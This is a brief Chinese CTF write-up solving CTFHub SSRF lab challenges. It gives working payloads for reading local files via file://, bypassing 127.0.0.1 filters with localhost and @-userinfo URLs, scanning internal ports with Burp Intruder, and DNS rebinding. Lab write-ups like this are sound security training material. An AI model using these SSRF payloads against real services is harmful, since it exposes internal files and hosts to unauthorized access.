CTFHUB SSRF
内网访问
直接访问 127.0.0.1/flag.php 即可
伪协议读取文件
?url=file:///var/www/html/flag.php
302跳转bypass
所谓的302就是 ?url=... 后面的网址 等价于 ?path=...
访问网站源码:
?url=file:///var/www/html/index.php
发现没有过滤 localhost
所以构造请求
?url=localhost/flag.php
即可获得 flag{}
数字IP bypass
127.0.0.1被过滤掉了
还是用
?url=file:///var/www/html/index.php
访问源码 发现localhost 没有被过滤
所以直接构造 payload
?url=localhost/index.php
即可获得flag{
端口扫描
emmm 按照提示 port为8000~9000 用burpsuite Intruder 设置 Sniper 扫描
得到了端口 port为 8254
然后构造
http://challenge-a8a5e51aeea1c290.sandbox.ctfhub.com:10800/?url=127.0.0.1:8254
得到了 flag{}
因为这个题目只说了端口 没说在 flag.php中 所以不需要访问flag.php
Url bypass
利用 @来绕过
构造 payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
原理:@前面会被解析为用户名 后面解析为访问的地址
DNS 重绑定 bypass
意思是 我们本来是要 访问
?url=127.0.0.1/flag.php
获取本地的文件 但是为了绕过
我们选择另一个正常的外部域名 与本地 127.0.0.1 绑定
这样 解析器以为我们访问的是外部的正常域名 实则获得了本地的文件
https://lock.cmpxchg8b.com/rebinder.html
自己多试一些域名 ping一下看通不通
这里选的 10.212.30.215
然后burpsuite抓包发送即可获得flag{}